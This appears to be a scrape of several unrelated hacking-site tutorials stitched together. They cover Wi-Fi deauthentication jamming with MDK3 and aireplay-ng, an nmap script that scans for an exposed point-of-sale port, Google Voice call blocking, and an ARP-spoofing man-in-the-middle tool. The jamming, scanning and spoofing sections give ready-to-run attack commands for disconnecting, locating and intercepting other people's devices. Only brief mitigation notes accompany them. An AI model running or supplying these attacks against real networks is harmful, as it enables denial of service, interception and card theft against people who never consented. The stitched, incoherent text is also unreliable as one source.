You may have heard of a signal jammer before, which usually refers to a device that blasts out a strong enough radio signal to drown out the reception of nearby devices like cell phones. Purpose-built jammer hardware is outright illegal in many countries. Still, Wi-Fi is vulnerable to several different jamming attacks that can be done withKali Linuxand awireless network adapter.Traditional signal jamming has been a cat-and-mouse game of detecting and disabling signals an opponent is using to communicate. Cutting off a target's ability to communicate leaves them isolated and vulnerable, making jamming these signals a top priority in modern-day electronic warfare. Countries today have developed capabilities to jam and spoof cell phones, GPS, Wi-Fi, and even satellite links.Different Types of JammingThere are two main types of jammers: elementary and advanced. Here, we'll be discussing elementary Wi-Fi jamming, focusing on unencrypted management frames.Elementary jammers can be broken into two main types: proactive and reactive. The first type, a proactive jammer, is one that continuously functions whether there is traffic on a network or not. We'll be using MDK3 as a deceptive jammer, which injects normal-seeming packets that have a malicious effect on the network.Image by Justin Meyers/Null ByteJammers used in electronic warfare typically require equipment that overwhelms the signal of the target with radio energy, making it impossible to distinguish between the signal and the noise being introduced to the channel the target is using to communicate. This kind of jamming is popular because it works, but it also requires specialized equipment that is banned or heavily regulated in most countries.Don't Miss:Build a Software-Based Wi-Fi Jammer with AirgeddonAnother type of jamming attempts to send messages that force the target to be disconnected from the network they are connected to, rather than drowning out a target's signal by trying to overwhelm it. You might think this kind of attack might only work if you are connected to the network, but this is where WPA has a severe flaw. Because so-called management frames are not encrypted, it is possible to send disruptive messages from outside the network, which causes people inside the network to be unable to connect.Deauthentication PacketsThe most common way this sort of attack is done is with deauthentication packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key tohacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.Don't Miss:Disable Security Cams on Any Wireless Network with Aireplay-ngPrograms likeAireplay-ngrely on deauthentication packets to execute denial of service attacks, and this kind of tactic is often a part of the first WPA brute-forcing a hacker will learn. Spamming a target with deauth packets is simple but effective, often producing near-immediate action on the mark. But many who use Aireplay-ng may not know that there is another kind of management frame that can be abused to take out clients on a WPA network.Dissasociation PacketsDisassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.Different networks may be equipped with various countermeasures, so deauthentication itself may not work. In fact, WPA3 protects against this attack, as do some types of WPA2. According to the Wi-Fi Alliance website:Wi-Fi CERTIFIED WPA2 with Protected Management Frames and Wi-Fi CERTIFIED WPA3 provide protection for unicast and multicast management action frames. Unicast management action frames are protected from both eavesdropping and forging, and multicast management action frames are protected from forging. Wi-Fi CERTIFIED ac and WPA3 devices require Protected Management Frames. They augment privacy protections already in place for data frames with mechanisms to improve the resiliency of mission-critical networks.—Wi-Fi AllianceBecause of this, deauthentication and disassociation attacks are just one of many which may be employed against a Wi-Fi network. While there are more advanced jamming attacks based on interrupting CTS (clear to send) or data packets, we'll save those attacks for another guide. For now, we'll start using a mix of deauthentication and disassociation to increase our chances of persistently taking out a network.MDK3 vs. Aireplay-ngTo understand Aireplay-ng vs MDK3 as jamming tools, we should take a look at thehelpfile for each tool. For Aireplay-ng, we see the following relevant information.~$ aireplay-ng --help Aireplay-ng 1.5.2 - (C) 2006-2018 Thomas d'Otreppe https://www.aircrack-ng.org usage: aireplay-ng <options> <replay interface> Filter options: -b bssid : MAC address, Access Point -d dmac : MAC address, Destination -s smac : MAC address, Source -m len : minimum packet length -n len : maximum packet length -u type : frame control, type field -v subt : frame control, subtype field -t tods : frame control, To DS bit -f fromds : frame control, From DS bit -w iswep : frame control, WEP bit -D : disable AP detection Attack modes (numbers can still be used): --deauth count : deauthenticate 1 or all stations (-0) --fakeauth delay : fake authentication with AP (-1) --interactive : interactive frame selection (-2) --arpreplay : standard ARP-request replay (-3) --chopchop : decrypt/chopchop WEP packet (-4) --fragment : generates valid keystream (-5) --caffe-latte : query a client for new IVs (-6) --cfrag : fragments against a client (-7) --migmode : attacks WPA migration mode (-8) --test : tests injection and quality (-9) --help : Displays this usage screenWhile the tools included are interesting, only--deauthis helpful in jamming a Wi-Fi connection. Based on these filter settings, we can use Aireplay-ng to attack specific nodes on specific APs. We can do so with a command like below.~$ aireplay-ng -0 0 -a f2:9f:c2:34:55:69 -c a4:14:37:44:1f:ac wlan0monThis command uses the wlan0 interface in monitor mode to send an unlimited stream of deauths to the client at MAC address a4:14:37:44:1f:ac which is connected to the access point with a MAC address of f2:9f:c2:34:55:69. This attack is surgical and usually starts working immediately, but can fail or not be very effective on some networks.MDK3, by comparison, has fewer surgical filters listen in itshelpfile.~$ mdk3 --help MDK 3.0 v6 - "Yeah, well, whatever" by ASPj of k2wrlz, using the osdep library from aircrack-ng And with lots of help from the great aircrack-ng community: Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik THANK YOU! MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses. MDK USAGE: mdk3 <interface> <test_mode> [test_options] TEST MODES: b - Beacon Flood Mode Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! a - Authentication DoS mode Sends authentication frames to all APs found in range. Too many clients freeze or reset some APs. p - Basic probing and ESSID Bruteforce mode Probes AP and check for an answer, useful for checking if SSID has been correctly decloaked or if AP is in your adaptors sending range SSID Bruteforcing is also possible with this test mode. d - Deauthentication / Disassociation Amok Mode Kicks everybody found from AP m - Michael shutdown exploitation (TKIP) Cancels all traffic continuously x - 802.1X tests w - WIDS/WIPS Confusion Confuse/Abuse Intrusion Detection and Prevention Systems f - MAC filter bruteforce mode This test uses a list of known client MAC Adresses and tries to authenticate them to the given AP while dynamically changing its response timeout for best performance. It currently works only on APs who deny an open authentication request properly g - WPA Downgrade test deauthenticates Stations and APs sending WPA encrypted packets. With this test you can check if the sysadmin will try setting his network to WEP or disable encryption.With MDK3, we see a few attractive options. Optiongwill attempt to force a network administrator to disable or downgrade encryption by targeting any connection sending WPA encrypted packets with deauthentication attacks.Optionbattempts a beacon flood attack, randomly creating fake APs in the area, and optionaattempts to jam a network by sending too many authentication frames. Neither of these attacks works for jamming the network, so instead, the most useful attack is optiond.The Deauthentication / Disassociation Amok Mode attack, by default, kicks everyone off of any nearby network, but with some filters, we can get it to behave more surgically.What You'll NeedTo get started, you'll need a fully updated copy of Kali Linux and aKali-compatible wireless network adapter. If you need help choosing one, you can check out our guide below.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018To update your copy of Kali Linux, connect to the internet, open a terminal window, and run the commands below.~$ apt update ~$ apt upgradeStep 1: Install MDK3Kali includes MDK3by default, but if you don't have it installed, you can do so by typing the following.~$ apt install mdk3 Reading package lists... Done Building dependency tree Reading state information... Done mdk3 is already the newest version (6.0-6). mdk3 set to manually installed. The following package was automatically installed and is no longer required: libgit2-27 Use 'apt autoremove' to remove it. 0 upgraded, 0 newly installed, 0 to remove and 1823 not upgraded.Once this is installed, you can typemdk3 --helpto see the main options.Step 2: Jam an AreaTaking a look at the filter options for MDK3, we can typemdk3 --help dto get the help information for the deauthentication module specifically. Here we can see that it is different from the options for Aireplay-ng. Instead, we have the following options to craft our attack.-wflag for MAC addresses to ignore, or whitelist.-bflag for MAC addresses to attack, or blacklist.-sflag for the speed (packets per second) of the attack.-cflag for the channel to run the attack on.Based on these options, we'll need to, at the very minimum, have one piece of information to start jamming anything. First, we'll need to put our network adapter into monitor mode and supply the name of the adapter in monitor mode to the program so it can execute.To find this, we can type eitherifconfigor the newerip ain a terminal window to find the name of the network adapter. It should be something like "wlan0" or "wlan1."When you have the name of the device, you can put it into monitor mode with the followingairmon-ngcommand, where wlan0 is the name of your network card.~$ sudo airmon-ng start wlan0Once you've done so, typeifconfigorip aagain to get the new name of the device. You can expect it to be something like "wlan0mon."When you have this information, you can run the script to deauthenticate everything nearby. This is noisy, not as effective as target jamming, and may require one card to work persistently. In my tests, one network card attacking everything nearby caused few noticeable disruptions, whereas three network cards attacking everything nearby caused noticeably annoying disconnections from the network.To execute the attack, type the following in a terminal window, with wlan0mon as the name of your adapter in monitor mode.~$ mdk3 wlan0mon dBecause this attack has to hop channels, it is likely to miss some APs and it may not be very fast. It's also very disruptive, as it can disconnect anything in range regardless of whether you have permission or if it's relevant to what you're doing.Step 3: Jam a ChannelA better option for jamming an area is to jam a channel. To know what channel to jam, we can use another tool calledAirodump-ngto discover what channel our target is on. With our card in monitor mode as wlan0mon, we can type the following command to see information about all nearby wireless networks.~$ airodump-ng wlan0monThis will display all nearby access points, along with information about them. Here we can see which channel the access point we are targeting is on, which will limit our effect to a single channel rather than marauding around attacking anything that moves.Once we know the channel the AP is on, we can pressCtrl-Cto cancel the scan, and type the following into a terminal window, with the channel we're attacking being channel 6.~$ mdk3 wlan0mon -c 6Jamming a channel is very effective, but affects all APs and all devices operating on that channel. This can still be too noisy, so we'll need to refine this further to match the same targeting capabilities as Aireplay-ng.Step 4: Whitelist & Blacklist DevicesOnce we have a specific channel to attack, we can be more precise by adding a blacklist or a whitelist.To do this, we'll re-run our Airmon-ng scan, and this time, we'll copy the MAC address of the device we wish to attack. I have tested doing this for both the address of the AP and the device you want to attack. Using the MAC address of the AP will attack everything on it, whereas adding the MAC address of the device will only attack it and nothing else on the network.To get this information, we can type the following to find the APs on the channel we were targeting before, in this case, channel 6.~$ airodump-ng wlan0mon -c 6By specifying the channel we found before, we should be able to cut down on the number of devices we see. To find devices connected to our target network, we can look at the bottom of the output and discover devices that are listed as being associated with the MAC address matching our target network.Once we find a MAC address that is associated, we can target it easily. Copy the MAC address, and then open a new terminal window. Typenano black.txtand pressEnterto open a text editor window. Now, paste the MAC address of the device you wish to jam and pressCtrl-Xto close the text editor.Now, we can run MDK3 against the target network by running the command below, with black.txt as the text file we just created containing the MAC addresses we wish to jam.~$ mdk3 wlan0mon d -c 6 -b ~/black.txtRunning this should very rapidly and persistently jam the device you indicated. In reverse, you can specify networks you want to leave alone the same way, and then run the command with the-wflag instead to attack everything else on the channel instead.Protected Management Frames & WPA3While these attacks can be scary depending on what is being targeted like a home security camera, these risks can be mitigated by using Ethernet wherever possible and upgrading the WPA3 when devices supporting it becomes available. One of the core differences between WPA2 and WPA3 is that WPA3 doesn't allow these kinds of attacks by preventing the authentication or disassociation packets from being forged in the first place.Until then, you can use devices that support protected management frames, or if you suspect that you're being targeted with an attack like this, you can detect it using anintrusion detection system(IDS).Kismetcan be used as an IDS to detect this sort of attack, as it will give you a warning on detecting disassociation or deauthentication frames being sprayed across a network.I hope you enjoyed this guide to understanding advanced Wi-Fi jamming with MDK3 and Aireplay-ng! If you have any questions about this tutorial or Wi-Fi jamming, feel free to leave a comment or reach me on [email protected]'t Miss:How to Use Kismet to Watch Wi-Fi User Activity Through WallsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12Android Basics:How to Connect to a Wi-Fi NetworkHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:Google Photos Waiting for Wi-Fi? Here's the FixHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This Smart App to Upgrade Your Home Wi-Fi Speeds Is 41% Off Right NowHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:PAIRS Is the Easy Way to Restore Wi-Fi & Bluetooth Connections After Wiping Your PhoneHow To:Increase Battery Life on Your Nokia Lumia 920 and Other Windows Phone 8 DevicesHow To:Hunt Down Wi-Fi Devices with a Directional AntennaWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Automatically Connect to Free Wi-Fi Hotspots (That Are Actually Free) on Your Samsung Galaxy Note 2How To:Pick an Antenna for Wi-Fi HackingHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotNews:PSP2 (Next Generation Portable) or NGPNews:Strawberry JamHow To:You No Longer Have to Open Settings to Switch & Connect to Wi-Fi on Your iPhone (FINALLY!)How To:Auto-Toggle Your Android Device's Wi-Fi On and Off When Near or Away from a Hotspot
Hack Like a Pro: How to Scan the Globe for Vulnerable Ports & Services « Null Byte :: WonderHowTo
Welcome back, my hacker novitiates!Finding vulnerabilities in systems can be one of the most time-consuming tasks for a hacker. There will be times, though, when you'll find yourself in a position that you know that a particular port represents a vulnerable application or service.The Story of Max VisionFor example, the gray-hat hacker,Max Bulter, aka Max Vision, the founder of arachNIDS who's now serving 9 years in federal prison, found that the Aloha Point-of-Sale (POS) system had installed a remote backdoor to all their systems in order to provide technical assistance purposes to their customers.These Aloha systems are used by small-to-medium sized restaurants that take thousands of credit card numbers each year. Knowing this, Max set a computer program to constantly scan the U.S. for systems that had port 5505 open. This would indicate that the computer was running Alaho's POS system, as port 5505 is not used by any other common service, and that the vulnerable service was open and available.When he found the port open, he would then execute an exploit against that port and service and scavenge all the credit card numbers he could. He then sold them for $5 to $50 each bringing him a tidy return for each hack.How to Scan for Vulnerable PortsIn this tutorial, we'll write a short script that does exactly what Max Vision was doing and send a report with every IP address of the vulnerable system.Step 1: Open a Text EditorTo create our script, we need to open a text editor. Any of theLinuxtext editors will work;vi,emacs,gedit(in the GNOME),Kate, orKWrite. In this guide, we'll use the KWrite editor built intoBackTrack5v3 KDE. We simply type in a terminal:kwrite globalportscan.shWe can name our script anything, but I have chosen to call itglobalportscan.sh.This will open a blank file editor for our script.Step 2: Create the ScriptNow we need to type the following lines in our script file.#!/bin/bashThe required opening of all BASH scripts.nmap -sT 74.125.225.0/24 -p 5505 -oG alohaDoes an nmap connect scan (-sT) to the subnet of google.com and looks for the port 5505 open and sends the output (-oG) to a file called aloha.cat aloha | grep open > alohaopenOpens the file aloha and filters (grep) for lines that say open, and stores those lines in a file called alohaopen.cat alohaopen | cut -f2 -d ":" | cut -f1 -d "(" > alohavulnOpens the file alohaopen and cuts it at the second field (-f2) defined by the delimiter (-d) semicolon (":"), then pipes that to a second cut command that cuts the file at the first field (-f1) defined by the delimiter (-d) paren ("(") and saves it into a file named alohavuln.cat alohavulnFinally, we open and display the file that contains all the IP addresses of systems with port 5505 open.Step 3: Run the ScriptNow that you have saved the script, it's time to run it.sh globalportscan.shNow, sit back and wait for your results. It could take a while depending upon how many IP addresses you're scanning. In our example, we're only scanning 255 addresses, so it only takes a few minutes, but you could very well set this up to scan millions of addresses, in which you might wait days for results.Step 4: Final ResultsWe can run this script on any IP address or network. I just used google.com as an example (you're not likely to find port 5505 open at google.com). You should see results that look something like this:Of course, this vulnerability is likely closed in nearly all systems now, but this script can easily be edited to scan for other ports and other IP addresses depending upon your needs.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePOS systemandWorldimages via Shutterstock, Max photos viaWIREDandSanta Clara County SheriffRelatedHack Like a Pro:Advanced Nmap for ReconnaissanceHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapSPLOIT:How to Make a Python Port ScannerHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow To:Hack TOR Hidden ServicesHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow To:Do an Idle Scan with NmapHow To:Hack Hackademic.RTB1 Machine Part 1Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Discover Open Ports Using Metasploit's Built-in Port ScannerHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Discover & Attack Services on Web Apps or Networks with SpartaNews:Scandy Gives Tango Owners a Taste of 3D ScanningHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)News:The 5 Best Apps for Scanning Text & Documents on AndroidHack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Find Vulnerable Targets Using Shodan—The World's Most Dangerous Search EngineHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapInstagram Challenge:Globe's GlowNews:Russell Crotty's Astronomical Paper GlobesHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallNews:Congrats to Natalie Portman for her Golden Globe Best Actress win!News:***Where to get *GUNS*EXPLOSIVES* From Mission's***
How to Filter Unwanted Calls & SMS for Free with Google Voice « Null Byte :: WonderHowTo
Google is great. They provide us with tons of free services and open source APIs that we can code fun tools for, one of which I don't think gets enough credit:Google Voice.Haven't you ever wanted to be able to protect your privacy when handing out your phone number? Or maybe you need a quick temporary phone number for someone you just met, or an alternative number for signing up for services that might result in unwanted telemarketing calls. Whatever it is, Google voice will enhance your experience on a phone, whether you are using a land lineormobile phone.Google Voice is basically an online phone forwarding program that enhances the capabilities of phones and allows for a whole bunch of cool tricks. Best of all? It'sfree. Just to get a taste of what we can do, have a look at a few of a notable features that it allows us to utilize:Call forwardingVoice mailSMS messagingFree local phone numberMessage saving and loggingToday inNull Byte, we are going to check out a few of the uses for Google Voice, namely, blocking calls and SMS messages to your cell or home phone for free.RequirementsGoogle accountA phoneBlocking Calls via Google VoiceWe can use Google Voice to filter calls before they are sent to us. By linking a phone to our Voice account, we can hand out our Google voice number and have it forward the calls to our linked phone.Not only does this allow you to control who has your actual number, but you can also change your phone number an indefinite amount of times on Voice, so you can make sure you are never reachable by parties whom you wouldn't like to reach you.To block calls, let's first link our phone to our Google account.Go toGoogle Voice.Link your phone to your account when it prompts you.Add a number you would liked blocked to your contact list, or search your recent call / text list.Tick the checkbox next to the call, voicemail, or SMS message.Clickmoreunderneath the call box and selectblock.Now you can make sure that number can't call your phone anymore, without even paying your phone service provider for the extra service. You can also filter your calls, because when you answer your phone when it's a call from your Voice account, you have the choice of answering.Free caller ID and call screening too? You're doing too much for us, Google.Want more Null Byte?Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viameship,midriversRelatedSignal 101:How to Register Using a Google Voice NumberHow To:Make Calls & Texts from Your Mac Without OS X YosemiteHow To:Top 5 Android VoIP Apps for Making Free Phone CallsNews:Google to Remove SMS Features from Hangouts (Update: New Version Rolling Out)How To:Fully Control Your Galaxy S5 with Google Now Commands—No Root NeededHow To:Tired of Paying for Calls & Texts? These 6 Free Apps Can Cut Down Your Cell Phone BillHow To:Filter Unknown Senders in iMessage to Block Unwanted Notifications & Keep Your Messages App CleanHow To:Call/Text Home for Free When Traveling AbroadNews:Comparing the Best International Data Plans from All Major US CarriersHow To:Use Google Voice as a 'Burner' NumberHow To:10 Free Texting Apps for Android That Are Way Better Than Your Stock SMS AppHow To:Use the new features in the Google Voice online phone serviceHow To:Save Call & SMS Logs on Android—No Root RequiredHow To:Use the official Google Voice app on an Apple iPhone 4 (iOS 4.2)How To:Set Up Google Voice to Get Visual Voicemail on Your Unlocked Android PhoneHow To:Get Missed Calls & Contact Numbers from Your Phone—Without Having Your PhoneHow To:Replace Android's Voice Dialer with Google Now for Better Bluetooth DialingNews:Facebook Messenger Can Now Send & Receive All Your Texts—Here's How to Turn It OnHow To:Block Spoofed Numbers & Robocalls on Any Phone with Verizon, AT&T, T-Mobile, or SprintHow To:Can't Take That Call? Respond with a Photo or Quick Voice Message (Like Shaq Does)News:Russian-Made Adware 'Ewind' Can Give Hackers Control Over Your Android DeviceHow To:Block Unwanted Calls or Text Messages on Your iPhoneHow To:Use Your Android Phone Without Ever Touching ItHow To:Send & Receive SMS Texts on Your Computer for FreeHow To:Be More Secretive Using Hide SMS and Call RecorderHow To:No Data, No Problem—Use SMS to Connect to Your Favorite Web Services on AndroidHow To:Get ALL of Your Data onto Your New Android PhoneHow To:Open Google Now Instead of S Voice with the "Hi, Galaxy" CommandHow To:Record Phone Calls on Any Android DeviceHow To:Make free online domestic phone calls in Gmail using Google Voice & Video ChatHow To:Add & Activate an eSIM Line on Your iPhoneXS,XSMax, orXRHow To:Extract & Back Up All of Your Text Messages on AndroidHow To:Hack Google Voice with SipGate for free VOIP phone callsHow To:Send & Receive Encrypted Android Texts Using Your Mac's Messages AppHow To:Find Your HTC One or Other Android Phone with a Text MessageHow To:Enable the Hidden Voice Call Recording Feature on Your Samsung Galaxy Note 2Anonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesApple vs. Google:9 New iOS 8 Features Android Already HadNews:Google Voice is Released!How To:Use Google Voice to Prank Your Friends on April Fool's Day
How to Build a Man-in-the-Middle Tool with Scapy and Python « Null Byte :: WonderHowTo
Man-in-the-Middle attacks can prove to be very useful, they allow us to do many things, such as monitoring, injection, and recon.What Is a Man-in-the-Middle Attack?Essentially, a man-in-the-middle attack is when an attacker places them self between two parties. This passes all data through the attacking system which allows the attacker to view the victims activity and perform some useful recon.Before we can do anything with a man-in-the-middle, we have to establish one. That is what we'll build here today, so, let's get started!Just a Heads UpWe'll be defining functions throughout this script in order to use them later, the order in which we define the functions is NOT the order in which their events take place. I just wanted to clarify that before it caused confusion.Step 1: Importing Modules & Getting InputThe first thing we'll do in this script is import all our needed modules...Of these modules, the most important is scapy. This lets us craft and send custom packets, which is what enables us to send the ARP responses. After we import these, we'll get some simple input form the user...Here we've asked the user for an interface, the victim IP address, and the router IP address. We've added an exception just in case the user doesn't want to continue. We've also enabled IP forwarding for the user so they don't have to do it.Step 2: Getting MAC AddressesIn order to properly create our ARP responses, we'll need the victim and router MAC addresses. We can do this by making ARP requests and returning the result...In the above snippet of code we send an ARP request with the destination of the user's choice, we'll use this function later in our script.Step 3: Re-ARPing the TargetsOnce our attack is over, we need to re-assign the target's addresses so they know where to send their information properly. If we don't do this than it will be very obvious that something has happened.In this function, we call our get-mac() function that we created earlier to find the MAC addresses. Once we have those it'll send replies out telling the systems where the other system is. We'll send each reply seven times for good measure. Once we've done that we'll disable IP forwarding for the user.Step 4: Tricking the TargetsThe next function is the simplest one, yet the most important.This function simply sends a single ARP reply to each of the targets telling them that we are the other target, placing ourselves in between them.Step 5: Putting It All TogetherFinally, we put it all together for the main function of our script...Here, wetryto get the victim and router MAC addresses, this is in case of failure. We don't want to send packets to one and not the other, so in the case that we can't find one of them, we disable IP forwarding and shut down the script. If we are able to get the MAC address then we can start sending our replies. We do this by making awhileloop and sending another set of replies every 1.5 seconds. Once the user gives a keyboard interrupt (Control + C), we call the reARP() function to re-assign the targets and shut the script down.Step 6: Testing It OutNow that have our script (Pastebin Here) we have to give it a test run to make sure it works.Navigate to your script and fire it up! I'll be entering "wlan0" as my desired interface, 10.0.0.7 as the victim IP, and 10.0.0.1 as my router IP.We can see above that we've begun to send out our replies. Let's open up wireshark and take a look at them!We can see here that we are successfully sending our replies, we've officially established our man-in-the-middle! Now we just have to shut it down and make sure the shut down function works...We can see that the script went off without a hitch! We we're able to place ourselves between the targets and re-assign them once we were done.Step 7: Testing the ExceptionsIn a script like this, it is very import that it knows when to stop, we need to test the exceptions to make sure they work in order to insure that no packets get sent out by mistake. Let's test the input exception first...Now let's test the MAC address resolution exception...We can give the script a faulty victim IP so it wont be able to find a MAC address. Let's make sure it works for a faulty router IP as well...So, there we have it. Our exceptions work like a charm!Step 8: Using Our MitMNow that we have an established man-in-the-middle, we can run other tools on it. Such as urlsnarf to sniff the victims activity...We can see in the above urlsnarf result that our victim is actually browsing on none other than Null-Byte! That confirms that our script works as intended, we did it!Step 9: Feedback!Let me know what you think in the comments below, if you have any questions ask away! I'm sure they'll answered one way or another. For any of you that missed the Pastebin link earlier,here it is.Thank you for reading!-DefaltWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Build a DNS Packet Sniffer with Scapy and PythonHow To:Build an ARP Scanner Using Scapy and PythonHow to Train Your Python:Part 1, IntroductionHow To:Create Packets from Scratch with Scapy for Scanning & DoSingHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Use variables and strings when programming in Python 2How To:Turbo Ping Sweeping with PythonHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Build an Evasive Shell in Python, Part 3: Building the Attacker ScriptHow To:Build an FTP Password Sniffer with Scapy and PythonHow To:Use WebTech to Discover What Technologies a Website UsesHow To:Get Fastboot Flashable Factory Images for Any OnePlus PhoneNews:And the Winner of the White Hat Award for Technical Excellence Is...How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Master Python, Django, Git & GitHub with This BundleHow To:How One Man's Python Script Got Him Over 20,000 Karma on Reddit—Without CheatingNews:Learning Python 3.x as I go (Last Updated 6/72012)News:Learn to Code in Python, Part One: Variables, Input and OutputCommunity Byte:Coding a Web-Based Password Cracker in PythonNews:Ball PythonsHow To:Make a Gmail Notifier in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Monty Python's World Cup - In case you haven't seen itHow To:Make a Change-of-IP Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksPet Portrait Challenge:FranklinIPsec Tools of the Trade:Don't Bring a Knife to a GunfightPygame:All You Need to Start Making Games in PythonHow To:Send SMS Messages with PythonGoodnight Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:Coding an IRC Bot in Python (For Beginners)
Drive-By Hacking: How to Root a Windows Box by Walking Past It « Null Byte :: WonderHowTo
